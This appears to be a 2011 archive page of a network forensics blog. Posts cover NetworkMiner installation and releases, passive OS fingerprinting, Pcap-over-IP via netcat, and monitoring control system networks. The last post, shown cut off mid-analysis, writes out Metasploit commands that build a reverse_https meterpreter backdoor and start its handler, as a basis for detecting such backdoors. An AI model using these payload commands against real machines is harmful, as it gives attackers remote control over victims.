Showing blog posts from 2011

No more Wine - NetworkMiner in Linux with Mono

See our blog post HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux for a more up to date installation guide.

British Street, E3 sticker close-up by George Rex NetworkMiner is a network forensics tool that is primarily designed to run under Windows. But it is now (as of version 1.2 of NetworkMiner) also possible to run NetworkMiner on non-Windows OS's like Linux, Mac, FreeBSD etc. with help of Mono. This means that there is no longer any need to run NetworkMiner under Wine, since Mono is a much better alternative.

So what is Mono? Here is a description from the mono-project's website:

“Mono is a software platform designed to allow developers to easily create cross platform applications. Sponsored by Xamarin, Mono is an open source implementation of Microsoft's .NET Framework based on the ECMA standards for C# and the Common Language Runtime. A growing family of solutions and an active and enthusiastic contributing community is helping position Mono to become the leading choice for development of Linux applications.”
(emphasis added)

Here are some of the features in NetworkMiner that work better under Mono compared to Wine:

  • Drag-and-drop pcap files onto NetworkMiner works under Mono
  • Extracted/reassembled files are put in OS-native folders (under the NetworkMiner/AssembledFiles folder)
  • Right-clicking an extracted file or image and selecting “Open file” or “Open containing folder” works under Mono
  • No big Wine install required, the Mono framework only requires 32 MB to install

Here are the commands required to install Mono and NetworkMiner on Ubuntu Linux:

sudo apt-get install libmono-winforms2.0-cil
wget -O /tmp/
sudo unzip /tmp/ -d /opt/
cd /opt/NetworkMiner_*
sudo chmod +x NetworkMiner.exe
sudo chmod -R go+w AssembledFiles/
sudo chmod -R go+w Captures/
mono NetworkMiner.exe
The reason for setting write permission to the AssembledFiles folder is because this is the directory to where extracted files are written. If you prefer to instead have the files extracted to /tmp or the user's home directory, then simply move the AssembledFiles directory to your desired location and create a symlink to it in the NetworkMiner directory (hat tip to Lenny Zeltser for this idea).

NetworkMiner 1.2 running under Ubuntu Linux with Mono, with “day12-1.dmp” from the M57-Patents Scenario loaded.

Update: See our blog post HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux for an installation guide for other linux flavors.

Posted by Erik Hjelmvik on Monday, 26 December 2011 20:30:00 (UTC/GMT)

Tags: #NetworkMiner #Mono #Wine #Linux #Ubuntu

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

REMnux now includes NetworkMiner

REMnux logo

Lenny Zeltser recently released version 3 of his Reverse-Engineering Malware Linux distro REMnux.

Here are a few of the improvements in REMnux 3 compared to the previous version:

  • The REMnux distro is now based on Ubuntu
  • Updated versions of Volatility and Origami
  • NetworkMiner is included for forensic analysis of network traffic

As of version 1.2 of NetworkMiner it is possible to use mono to run it on non-Windows OS's like Linux, Mac and FreeBSD. Lenny used this functionality in order to run NetworkMiner under mono instead of using Wine, which I think is a great decision since NetworkMiner integrates much better with the OS when it is run with mono.

NetworkMiner running on REMnux

NetworkMiner running on REMnux

There is, however, one caveat to be aware of when running NetworkMiner under REMnux; you either have to run it as root (as in the screenshot above) or add write permissions to the AssembledFiles directory with:

sudo chmod -R go+w /usr/local/NetworkMiner/AssembledFiles

NetworkMiner will otherwise not be able to extract any files from the analyzed pcap files to disk since it won't have right to write them to the AssembledFiles folder.

Luckily, Lenny has already confirmed to me that he will have this fixed in the next release of REMnux.

Posted by Erik Hjelmvik on Friday, 16 December 2011 21:46:00 (UTC/GMT)

Tags: #Linux #NetworkMiner #mono

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Richard, Russ and Adrian trying NetworkMiner Professional

I recently sent out a copy of NetworkMiner Professional to three persons, who I respect for their contributions to different parts of the IT security community.

NetworkMiner USB flash drive
NetworkMiner Professional USB flash drive

All three persons have now publicly shared their experiences from analyzing network traffic with NetworkMiner Professional.

Richard Bejtlich Richard Bejtlich

First out was Richard Bejtlichblogger, black hat instructor and CSO at Mandiant.

Richard wrote a blog post titled “Trying NetworkMiner Professional 1.2”, where he analyzes a pcap file from his TCP/IP Weapons School class. Richard also shared some new ideas on new features that he'd like to see in NetworkMiner.

Russ McRee

Russ McRee

Russ McRee is a hard-working vulnerability discoverer, blogger and journal author, who also is team leader of Microsoft Online Service’s Security Incident Management team. Russ published his blog post titled “Tool review: NetworkMiner Professional 1.2” shortly after Richard's blog post.

In his blog post Russ looks closer at the features of NetworkMiner Professional that are not included in the free version of NetworkMiner. These features include:

Adrian Crenshaw Adrian Crenshaw

Adrian Crenshaw, the guy behind and co-founder of Derbycon, went one step further by recording a video titled “NetworkMiner Professional for Network Forensics”.

In the video Adrian shows features such as:

Posted by Richard Bejtlich on Friday, 09 December 2011 18:45:00 (UTC/GMT)


More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 1.2 Released

NetworkMiner 1.2 is now available!

For those who are not familiar with the network forensics tool NetworkMiner, it's a portable Windows application that analyzes network traffic. NetworkMiner comes in two flavors; a free open source version and a commercial version called “NetworkMiner Professional”.

Some of the new features in version 1.2 of NetworkMiner (free as well as pro version) are:

  • NetworkMiner is now platform independent and can be run on Linux, Mac etc. with help of Mono.
  • Better parsing of emails sent with SMTP.
  • Content extraction of emails went with AOL webmail as in ”The L33t Pill” from the Network Forensics Puzzle Contest.
  • Content extraction from unencrypted SquirrelMail webmail posts.
  • Content extraction of comments sent to Wordpress and Blogspot blogs.
  • Support for GRE encapsulation.
  • Better handling of truncated pcap files that are cut in the middle of a frame.
  • Updated "Details" column in "Files" tab to display the HTTP host name as well as the URI from where the file was retrieved.

NetworkMiner 1.2 Hosts tab

NetworkMiner 1.2 with the Hosts tab open

Upgrading from NetworkMiner Professional 1.x

We offer free upgrades for users running older versions of NetworkMiner Professional. Just send an email to info [at] with your current version number as well as license number (which you can find under the menu “Help” > “About Network Miner”) and say that you'd like to upgrade to version 1.2.

Posted by Erik Hjelmvik on Saturday, 19 November 2011 16:00:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Passive OS Fingerprinting

Fingerprint picture 1 by glennji

Network traffic from a computer can be analyzed to detect what operating system it is running. This is to a large extent due to differences in how the TCP/IP stack is implemented in various operating systems. We will in this blog post explain the different methods that can be used to identify what operating a computer is running by analyzing the packets it generates on the network.

Active approaches

The popular port scanner Nmap can identify the operating system (OS) of a remote computer by sending six packets with specially crafted option combinations in the TCP layer (for example window scale, NOP and EOL options). Nmap then watches how the scanned host responds to these odd packets. Fyodor (author of Nmap) gives a good overview of these techniques in issue 54 of phrack magazine from way back in 1998.

Passive OS identification

Active measures, like those employed by Nmap, are unfortunately not available when doing passive analysis of live traffic or when analyzing previously captured network traffic. Passive analysis requires much more subtle variations in the network traffic to be observed, in order to identify a computer's OS. A simple but effective passive method is to inspect the initial Time To Live (TTL) in the IP header and the TCP window size (the size of the receive window) of the first packet in a TCP session, i.e. the SYN or SYN+ACK packet.

Below are some typical initial TTL values and window sizes of common operating systems:

Operating System (OS)IP
Initial TTL
window size
Linux (kernel 2.4 and 2.6)645840
Google's customized Linux645720
Windows XP12865535
Windows 7, Vista and Server 20081288192
Cisco Router (IOS 12.4)2554128

One reason for why the TTL and window size values varies between different OS's is because the RFC's for TCP and IP do not require implementations to use any particular default value for these fields. There is, however, a recommendation in RFC 1700 saying:

The current recommended default time to live (TTL) for the Internet Protocol (IP) is 64
This recommendation is obviously not followed in many IP implementations.

The initial TTL value is often a bit tricky to analyze since the TTL value of a sniffed packet will vary depending on where you sniff it from. The sending host will set the TTL value to the OS's default TTL value, but this value will then be decremented by one for every router the packet passes on its way to the destination IP address. An observed IP packet with a TTL value of 57 can therefore be expected to be a packet with an initial TTL of 64 that has done 7 router hops before it was sniffed.

The TTL and window size table above can be used in order to do manual OS fingerprinting of network traffic. Here is an example showing how to display relevant fields of the first few packets from the publicly available pcap file for the 2009-M57-Patents scenario with tshark:

$ tshark -r day12-1.dmp -R "tcp.flags.syn eq 1" -T fields -e ip.src -e ip.ttl -e tcp.window_size -c 16 | sort -u  128  8192  128  65535  54   5720   45   5840   45   5840   45   5840   45   5840    45   5840    45   5840  45   5840

The first column here is the IP address (ip.src), the second is the TTL (ip.ttl) and the third the TCP window size (tcp.window_size). Note that the TTL value is only at the initial value for the hosts on the local network (, while the packets from the other hosts seem to have performed 10 or 19 router hops. We can, just by matching the TTL and window sizes of these hosts with the table above, easily determine that is running Windows XP (TTL=128, window_size=65535) and is running some more modern flavor of Windows (TTL=128, window_size=8192). The google machine (with IP can also easily be singled out due to its characteristic window size of 5720. The other machines (87.106.x.x) all seem to be running Linux.

Do you feel manual OS classification would take too much time? There are, luckily, multiple tools like ettercap, p0f, Satori and NetworkMiner which all automate the OS identification task. Just feed these tools with some live network traffic or a pcap file and they'll fingerprint the OS's for you.

DHCP Fingerprinting

An alternative to fingerprinting the TCP/IP stack implementation of an OS is to look at its DHCP implementation. Eric Kollmann (the creator of Satori) has written a great paper on DHCP fingerprinting titled Chatter on the Wire: A look at DHCP traffic. Eric's DHCP fingerprinting database is used in his tool Satori as well as in NetworkMiner.

There is also a project titled Fingerbank, which maintains another DHCP fingerprinting database.

Application Layer

Even more info about the operating system of a host can be extracted by inspecting the application layer data in traffic, such as server banners in HTTP, SSH and FTP as well as HTTP client User-Agent strings. All these layer 7 banner types are displayed in NetworkMiner's Hosts tab under the “Host Details” node.

NetworkMiner with OS identification results

A User-Agent string showing “Windows NT 5.1” (like in the screen shot above) means that the client is running Windows XP. Microsoft provides an article titled Understanding User-Agent Strings, which provides this mapping between User-Agent strings and operating system:

Platform tokenDescription
Windows NT 6.1Windows 7
Windows NT 6.0Windows Vista
Windows NT 5.2Windows Server 2003; Windows XP x64 Edition
Windows NT 5.1Windows XP

Happy fingerprinting!

Posted by Erik Hjelmvik on Saturday, 05 November 2011 14:45:00 (UTC/GMT)

Tags: #Satori #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Automatic Flushing in RawCap

Decorative toilet seat

The “-f” switch can now be used to force RawCap to immediately flush sniffed packets to disk.

I've received multiple emails from RawCap users who run into problems when they want to look at a pcap file from RawCap without terminating the program. What usually happens in this case is that the output pcap file will be empty until they terminate RawCap with “Ctrl-C”. The reason for this is that RawCap has a 1MB data buffer, which is used in order to maximize performance by reducing unnecessary disk operations. RawCap will therefore not write any data to disk until it is terminated or has filled the buffer with 1MB of network traffic.

We've now released a new version ( of RawCap in order to solve the needs of these users. The new version supports WriteThrough, which forces the data to be written directly to disk without being buffered. The automatic flushing functionality is enabled by supplying the “-f” switch from the command line when launching RawCap.

There is, however, one downside with the new version of RawCap; the size of RawCap.exe has increased from 17kB to 18kB. Sorry for that fellow minimalists... ;)

Here is an example command showing how to sniff traffic from localhost with automatic flushing (i.e. no buffer):

RawCap.exe -f LiveLoopback.pcap

Happy live sniffing!

Posted by Erik Hjelmvik on Sunday, 23 October 2011 16:24:00 (UTC/GMT)

Tags: #Netresec #RawCap #loopback #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Running NetworkMiner on Linux with Wine

UPDATE : We no longer recommend running NetworkMiner under Wine, please see our blog post on HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux instead.

Joshua Smith has written a great blog post on about how to get NetworkMiner running on BackTrack Linux. C. S. Lee (a.k.a. geek00l) has also written a blog post a couple of years ago explaining how to install NetworkMiner on Ubuntu Linux.

Unfortunately both these blog posts point to URLs with old versions of NetworkMiner (now that version 1.1 is released). I'm therefore posting a simple walkthrough of the required commands in order to install the latest version of NetworkMiner on an Ubuntu machine:

sudo apt-get install winetricks
winetricks corefonts dotnet20 gdiplus
cd /opt
unzip latest
cd NetworkMiner_1-1/
wine NetworkMiner.exe
NetworkMiner in Linux with Wine

I hope this will help you get NetworkMiner running on your Ubuntu analyst station!

We will also be looking into having NetworkMiner fully compatible with mono in a future release. This would allow you to run NetworkMiner “natively” on Linux, Mac OS X as well as BSD (OpenBSD, FreeBSD, NetBSD).

Posted by Erik Hjelmvik on Thursday, 13 October 2011 16:51:00 (UTC/GMT)

Tags: #Netresec #Linux #Wine #Ubuntu

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Identifying suspects through browser language

Swedish keyboard by Håkan Nylén

A new feature in version 1.1 of NetworkMiner aids the task of identifying a suspect user by extracting information about browser language and screen resolution sent to Google Analytics.

Google Analytics is the most popular website statistics service and is used by roughly half of all websites on the Internet. This means that a user surfing the Internet will most likely send data to Google Analytics. The data being sent to Google's servers include Flash version, screen resolution, color depth and browser language. This data isn't very intrusive on the privacy of Internet users, but can still provide some value to an investigator who wants to gain more information about a computer with a particular IP address as well as the user of that computer.

The browser language can, for example, be used to gain more information about the nationality of a particular user. In the screenshot below we can see that the user was running a web browser with Swedish language (look at “Browser Language” under “Host Details” and you'll see “sv” for “svenska”).

Observant blog readers might also notice the odd screen resolution used by this particular user, namely “971x779”. The most common reason for having such an odd resolutions is that the web browser is run in a virtual machine (likely VMware with VMware tools installed). This assumption is in this case enforced by the fact that the MAC address starts with 000c29, which is a VMware OUI. The MAC address will, however, not be visible as soon as the network traffic from the suspect's computer passes the first router hop. The screen resolution parameter sent to Google will, on the other hand, be visible all the way from the suspect's computer to

Information like this about the screen resolution can be used as evidence for an investigator in order to better prove that a particular computer was being used from a particular IP address at some specific point in time.

More information about Google Analytics can be found here:

Posted by Erik Hjelmvik on Monday, 03 October 2011 21:54:00 (UTC/GMT)


More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 1.1 Released

We are today very proud to release version 1.1 of NetworkMiner!

NetworkMiner Logo

The new releases of NetworkMiner (open source version) and NetworkMiner Professional (commercial version) includes the following features:

  • Extraction of parameters sent to Google Analytics into NetworkMiner's “Host Details”. These parameters include: screen resolution, color depth, browser language and flash version.
  • You can drag-and-drop one or multiple pcap files onto NetworkMiner.exe to have it start up and begin loading the dropped pcap files. You can also submit your pcap files as arguments from the command line.
  • Multiple SMB/CIFS and NetBIOS improvements, such as support for multiple simultaneous SMB file transfers over the same TCP session as well as support for NetBIOS Session Service keep-alive messages.
  • Added support for Point-to-Point Protocol (PPP) frames in pcap files.
  • Improved stability when loading pcap files. Thanks to psteier for identifying this bug.

NetworkMiner Professional additionally includes support for Pcap-over-IP, which comes in very handy when you need to access pcap files or network traffic from remote machines or devices. There is, however, no support for Pcap-over-IP in the open source version of NetworkMiner.

Upgrading from NetworkMiner Pro 1.0

We offer free upgrades for users of NetworkMiner Professional 1.0. Just send an email to info [at] with your license number (which you can find under the menu “Help” > “About Network Miner”) and say that you'd like to upgrade to version 1.1.

Posted by Erik Hjelmvik on Thursday, 15 September 2011 17:25:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #Pcap-over-IP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Pcap-over-IP in NetworkMiner

Pcap over IP network protocol stack

Version 1.1 of NetworkMiner is soon to be released by us at Netresec. I would therefore like to give you a sneak preview of a simple yet very useful feature that we've added. We call this new feature “Pcap-over-IP”, which is a name originally coined by Packet Forensics.

With Pcap-over-IP you can have NetworkMiner read a pcap file (or libpcap formatted data in general) or over a TCP socket instead of getting it via the file system. The easiest way to send a pcap file over a TCP socket is to pipe a pcap file to netcat like this:

# cat sniffed.pcap | nc 57012

In this example I'd be running NetworkMiner on a PC with IP and have Pcap‑over‑IP listening to TCP port 57012. NetworkMiner will save the received packets to disk as well as parse and display the contents of the packets in the GUI when receiving the Pcap‑over‑IP stream.

NetworkMiner receiving Pcap-over-IP data

Pcap-over-IP also allows me to do live network sniffing with dumpcap from my local Windows machine and pipe the captured packets to NetworkMiner via a TCP socket, using Netcat for Windows like this:

C:\Program Files\Wireshark>dumpcap -i 4 -P -w - | C:\Tools\Netcat\nc.exe 57012

Note that the “-w -” switch tells dumpcap to push the raw libpcap formated data to standard output (stdout) rather than saving it to a pcap file.

The reason for using dumcap to perform the live sniffing rather than using the built in packet capturing functionality of NetworkMiner is that dumpcap is an extremely reliably tool when it comes to capturing packets. So by sniffing with dumpcap instead of NetworkMiner you minimize the risk of dropping some packets.

I can also use Pcap-over-IP to capture network traffic from a remote PC or device. I can, for example use tcpdump to sniff traffic on the external interface of my Linux-based firewall and push it to an analyst station like this:

# tcpdump -i eth1 -s 0 -U -w - | nc 57012

I can also perform remote WiFi sniffing with dumpcap or tcpdump from a Linux machine and send the sniffed packets to NetworkMiner with netcat like this:

# iwconfig wlan0 mode monitor
# iwconfig wlan0 channel 4
# dumpcap -i wlan0 -P -w - | nc 57012

It is even possible to receive multiple PCAP streams simultaneously with NetworkMiner. This way I could have 14 dumpcap or tcpdump processes sniffing each individual IEEE 802.11 channel, while monitoring all the captured traffic in real-time with a single instance of NetworkMiner. However, note that this would require 14 sniffer computers or a single sniffer machine with 14 WiFi cards.

SSL encryption

Don't like sending your pcap files in cleartext over the network? That's just fine, we've also implemented support for SSL/TLS encryption in NetworkMiner. You can use the great multipurpose relay tool socat to read your pcap file and have it encrypted with SSL while transiting the network like this:

# socat GOPEN:sniffed.pcap SSL:,verify=0

You can also use socat when doing live sniffing like this:

# tcpdump -i br0 -s 0 -U -w - | socat - SSL:,verify=0

Warning: Always make sure you don't sniff your own Pcap-over-IP stream when sending packets to NetworkMiner. You will otherwise construct a feedback loop, which will fill up the tubes. If you need to sniff the same interface as you are using to perform the Pcap‑over‑IP transfer, then make sure to use BPF to filter out the port number used for your Pcap‑over‑IP transfer like this:

# tcpdump -i ppp0 -U -w - not port 57012 | nc 57012

UPDATE June 16, 2014

With the release of NetworkMiner 1.6 we've made the PCAP‑over‑IP functionality available in the free open source edition of NetworkMiner. We have also integrated PCAP‑over‑IP into NetworkMinerCLI, i.e. the command line version of NetworkMiner Professional.

Posted by Erik Hjelmvik on Wednesday, 07 September 2011 09:22:00 (UTC/GMT)

Tags: #Netresec #Pcap-over-IP #Pcap #netcat #tcpdump #dumpcap #TCP #SSL #TLS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Herr Langner advises against Intrusion Detection

The Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) issued a security advisory for Siemens' SIMATIC Step 7 PLCs a couple of weeks ago. I've previously recommended asset owners to monitor the network traffic in their Industrial Control Systems (ICS), and ICS-CERT have followed my line of thinking by suggesting the following defensive measures:

"Configure an intrusion detection system (IDS) to monitor traffic for unusual or unauthorized activity.
  • Monitor traffic on the ISO-TSAP protocol, Port 102/TCP.
  • Monitor traffic being unexpectedly sent outside the automation network.
  • Monitor traffic between workstations. This traffic may be indicative of attacker pivoting through your network"

Siemens SIMATIC S7 PLC by Robot Plays Guitar

The German ICS security cowboy Ralph Langner has written a somewhat confused blog post where he is critisizing ICS-CERT's advisory. In this blog post Langner says the following about ICS-CERT's recommendation to monitor the ISO-TSAP traffic:

"It would be interesting to learn how the authors of the advisory suggest this should actually be done. We wonder if they have ever peeked into the data traffic of a Siemens PLC’s port 102 in a real installation [...] In order to make any sense out of TCP port 102 traffic it is required to do deep packet inspection. Unfortunately, the details of the layer seven protocol that needs to be analyzed, along with certain peculiarities at layer four such as pre-defined binary TSAPs, are not documented by the vendor. So in essence what ICS-CERT suggests is that asset owners start reverse analyzing the S7 protocol in order to configure their intrusion detection systems, which seems like a far stretch."

So, is Langner saying that the Siemens S7 protocol is too complicated to be reverse engineered? If encrypted and strongly obfuscated protocols like Skype can be reversed, then the S7 protocol should be a piece of cake. I've manually reverse engineered multiple protocols when building protocol parsers for NetworkMiner, and I can testify that most unencrypted and non-obfuscated protocols can be reversed in just a few hours. It would therefore be quite simple for IDS vendors to add support for the S7 protocol to their software. I also believe that even a very rudimentary IDS functionality, which just checks which IP addresses that are communicating over TCP port 102, would provide value. Such a simple feature doesn't even require the IDS vendor to implement a parser for the S7 protocol or even the ISO-TSAP protocol.

Ralph also criticizes ICS-CERT's recommendation to "Monitor traffic being unexpectedly sent outside the automation network" by saying:

"While the advice per se might not be completely wrong, we don’t see any relation to the Beresford vulns which highlight the risk of process manipulation, not the risk of industrial espionage and exfiltration of trade secrets."

A machine on an ICS network trying to contact an external IP address is typical Indicator of Compromise, but Langner fails to understand this basic principle of network security monitoring and incident response. Malware very often use outbound connections to access Command-and-Control servers as well as to download additional software to maintain its foothold on the infected machine. I'm certain that this is why ICS-CERT recommend asset owners to monitor for outgoing traffic, especially since ICS systems normally don't communicate with external systems and typically don't host any confidential data or "trade secrets".

A point that ICS-CERT failed to stress, however, is the need for asset owners to also store the full content network traffic (pcap files) from their network monitoring installations. This is an absolute necessity when investigating an alert from an IDS in order to better determine if an event is a security incident or just a false positive.

More on capturing network traffic can be read in my blog post Sniffing Tutorial part 2 - Dumping Network Traffic to Disk.

Posted by Erik Hjelmvik on Wednesday, 24 August 2011 14:47:00 (UTC/GMT)

Tags: #SCADA #PLC #ICS #control system

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Monitor those Control System Networks!

Network security monitoring is an ideal security feature to apply to industrial control system networks. Owners of the IT-systems that control our critical infrastructure have unfortunately not yet understood the usefulness of monitoring their own network traffic.

Process control panel by lawtonjm

SCADA security has in the past few years become a hot topic at mainstream hacker conferences like BlackHat and DEFCON. Stuxnet has also increased the interest for SCADA security even more in the “traditional” IT security and hacking community. This interest has caused security researchers to find and publicly disclose  multiple  vulnerabilities in SCADA and Industrial Control Systems (ICS).

Having worked with IT security for a major electric utility company (in the pre-Stuxnet era) I know from my own experience that the resilience against network based hacking attacks varies greatly between different brands and models of PLCs and RTUs. But an attacker with access to a control system network don't need to use any vulnerability to control a PLC. The reason for this is that the communication protocols used by these embedded devices don't use authentication. The attacker can therefore simply send any commands he wishes to the PLCs to make them open a dam gate, blow a generator or spin a centrifuge out of control; no vulnerabilities needed!

This morning I read a blog post titled “PLC’s: Insecure By Design v. Vulnerabilities” written by Dale G Peterson (an old friend from my SCADA security days). In this blog post Dale stresses the fact that many control system devices are “Insecure By Design”. He also mentions Secure DNP3 (an encrypted SCADA protocol that basically is an American fork from the IEC 60870-5 standard), which can increase security by introducing authentication and encryption.

I've always been against introducing any form of encryption in control system environments since availability is what's needed in these environments, not confidentiality! Adding encryption is also against the KISS principle, which should always be a foundation when designing control systems.

Instead I see two major efforts that the ICS community need to carry out in order to achieve better security. The first effort is to segment the ICS networks into different security zones and apply appropriate perimeter protection between the zones. The second effort is to establish proper network security monitoring of the control system networks.

Segmentation and perimeter protection are nowadays widely accepted measures in the ICS community. There are even special ICS firewall vendors, such as Tofino, RuggedCom and Moxa. Even crazy concepts such as “unidirectional gateways” are successfully used to protect critical ICS networks.

But the concept of network security monitoring has, on the other hand, not really been grasped by the ICS community yet. It actually seems as if they don't even understand the value provided by monitoring the network traffic in control systems. The ANSI/ISA-TR99 standard does, for example, mention “sniffing” several times, but only in the context of sniffing being a threat rather than treating it as a security control. The DHS document “Cyber Security Procurement Language for Control Systems” even contains this somewhat absurd statement:

“Scanning is an effective tool to identify vulnerabilities. Use caution, however, because active scanning of live control system networks has been known to disable the networks during operations. FAT and SAT provide critical opportunities for active scanning tests without an impact to production. Even passive scanning is not recommended on production systems until the impact to operations is fully understood.”

(emphasis added)
Ignoring the fact that they write “passive scanning” when they refer to “sniffing” or “network monitoring” I can't really believe that DHS recommend control system owners to avoid monitoring their own network traffic. Shame on you DHS!

I therefore take it upon myself to educate the authors of these misguiding standards as well as control system owners as to why they should monitor their networks. Here are six good reasons for why process control system networks should be monitored:

  1. Embedded devices used in control systems do often have poor or none-existent host based security logging. Event logs as well as security logs can be built simply by sniffing and analyzing sniffed network traffic, without having to introduce any additional complexity to the embedded devices.
  2. There is usually no centralized administration of the devices on a control system network, and network diagrams often differ significantly from the reality. Performing an NMAP scan of a control system network isn't suitable since that actually can cause some devices to crash (trust me!), but an inventory of the devices on a network can easily be created simply by sniffing network traffic. See my article “Passive Network Security Analysis with NetworkMiner” for more details.
  3. Viruses and worms can get to even isolated/air gapped networks, either through USB flash drives or through infected laptops that get connected to the isolated network. Many viruses can be detected simply by looking at the network traffic they generate when they attempt to establish a connectionto a command-and-control server. In the case with Stuxnet, for example, the infected machines would try to establish connections to the domains mypremierfutbol [dot] com and todaysfutbol [dot] com. Any attempts to lookup external DNS names from within an isolated network are always worth looking closer at!
  4. Prevention eventually fails, i.e. no matter how secure you think your network is someone or something will eventually penetrate your perimeter protection. So you'll better be prepared!
  5. Assume your network security perimeter has already been breached. In a recent report from McAfee Dmitri Alperovitch (VP Threat Research at McAfee) writes:
    “Having investigated intrusions such as Operation Aurora and Night Dragon (systemic long-term compromise of Western oil and gas industry), as well as numerous others that have not been disclosed publicly, I am convinced that every company in every conceivable industry with significant size and valuable intellectual property and trade secrets has been compromised (or will be shortly), with the great majority of the victims rarely discovering the intrusion or its impact. In fact, I divide the entire set of Fortune Global 2000 firms into two categories: those that know they’ve been compromised and those that don’t yet know.”
    The best way to find out if you are infected is to monitor your network for suspicious traffic.
  6. Network security monitoring is simple and doesn't affect the network being monitored! Check out my sniffing tutorials “Intercepting Network Traffic” and “Dumping Network Traffic to Disk” to get an introduction.

Now, go out there and sniff those process control networks! ;)

Posted by Erik Hjelmvik on Wednesday, 03 August 2011 18:56:00 (UTC/GMT)


More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Find PCAP files with Google

Perlan, Reykjavik, Iceland by Vestman

We at Netresec maintain a list showing where pcap files can be found on the Internet. Some pcap repositories in this list, like Pcapr and have quite extensive lists of pcap files with indexed meta data about what protocols each pcap file contains.

However, sometimes I find my self in need of traffic from some particular application or protocol, which I'm not able to generate myself. These are situations when I turn to Google for answers. In the spirit of “Google hacking” you can use keywords like “filetype:pcap” or “ext:pcap” to find pcap files. You can also add the letter í (notice the acute accent) to the search query in order to remove some non-pcap files from the search results. The reason why this works is because Google interpret a part of the PCAP file header fields as the letter í. It is also usually a good idea to further limit your search by adding some data specific for the traffic you're looking for into the search query.

You can, for example, use this query to find SMTP traffic (VXNlcm5hbWU6 is 'Username:' Base64 encoded):

í VXNlcm5hbWU6 ext:pcap

You can find Gmail traffic with (notice the use of the gmailchat cookie):

í gmailchat ext:cap

SMB / CIFS traffic can be found with:

í SMB ext:pcap

I think you get the hang of this now...

Happy Googling!

Posted by Erik Hjelmvik on Sunday, 17 July 2011 09:31:00 (UTC/GMT)

Tags: #PCAP #Google

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

How to detect reverse_https backdoors

back door OPEN

According to Mandiant 83% of all backdoors used by APT attackers are outgoing sessions to TCP port 80 or 443. The reason for why APT, as well as other attackers, are using these two ports is primarily because most organizations allow outgoing connections on TCP 80 as well as 443. Many organizations try to counter this by using web-proxies, which can inspect the HTTP traffic and block any malicious behavior. But TCP 443 cannot be inspected in this way since SSL relies on end-to-end encryption. By end-to-end encryption I mean that the session must be encrypted all the way from the server to the client without having any SSL proxies or MITM devices that break the encryption between the server and client. Inserting an SSL proxy would typically result in a certificate error in the client's web browser. TCP 443 is therefore left untouched on most organizations' Internet connections.

In Operation Aurora (where Google, Adobe and other high profile companies were attacked) the attackers used TCP 443 as a command and control protocol. When McAfee investigated the Aurora attacks they noticed that the traffic over TCP 443 wasn't SSL, but “a custom encrypted protocol”. In fact McAfee noted that the backdoor always started out with the client sending the following 20 bytes to a command and control (C&C) server:

ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff

Such poorly designed C&C protocols can easily be detected with static IDS signatures, which could simply match on the initial chunk of static data. Jaime Blasco actually wrote such a Snort signature for the "ET TROJAN Aurora C&C Checkin".

But what if the attacker uses a proper outgoing SSL session for the command and control backdoor? Such a feature would prevent most passive IDS and IPS products from detecting the backdoor, since the C&C sessions would have to be MITM'ed in order to reveal their contents.

Metasploit's reverse_https

The popular penetration testing framework Metasploit was recently extended with support for “reverse_https”. With reverse_https a pen tester can have compromised machines establish meterpreter backdoor connections inside of real SSL sessions.

I decided to try this functionality out for myself in order to see if these SSL backdoors can somehow be detected through analysis of the network traffic.

The first step was to generate a windows binary that will establish the SSL enabled meterpreter backdoor from the client:

# ./msfpayload windows/meterpreter/reverse_https LHOST= LPORT=443 X> /tmp/reverse_https_443.exe
Created by msfpayload (
Payload: windows/meterpreter/reverse_https
Length: 366
Options: {"LHOST"=>"", "LPORT"=>"443"}

I then started msfconsole and activated the reverse_https meterpreter multihandler:

# ./msfconsole

=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started HTTPS reverse handler on
[*] Starting the payload handler...

I thereafter copied the file “reverse_https_443.exe” to the victim Windows machine, and after executing it I cold see a proper SSL session being established from the victim to the metasploit machine:

Wireshark with reverse_https traffic

So what information could an incident responder or network forensics investigator use in order to reveal that this SSL session wasn't just normal HTTPS web surfing?

Well, something that many people aren't aware of is that the initial part of an SSL session isn't encrypted. In fact, there are some pieces of relevant information being transmitted in clear text, especially the X.509 certificate that is sent from the SSL server.

NetworkMiner extracts any X.509 certificates from SSL sessions going to TCP ports 443, 465, 563, 992, 993, 994, 995, 989, 990, 5223, 8170, 8443, 9001 and 9030. NetworkMiner Professional, on the other hand, automatically detects SSL/TLS sessions regardless of port number and can therefore extract X.509 certificate also from non-standard SSL ports. I therefore simply opened up some captured network traffic containing reverse_https traffic in NetworkMiner Professional in order to have it write the certificates to disk.

NetworkMiner with extracted certificates from Metasplot's reverse_https

From the three loaded pcap files above NetworkMiner also extracted three different X.509 certificates. Notice that the filename of the generated “.cer” file is built from the Common Name (CN), which should be the domain name of the SSL-enabled server. The CN's of the certs extracted from the reverse_https traffic does, however, not make any sense (they aren't real DNS hosts). I therefore used OpenSSL to look closer at the .cer files.

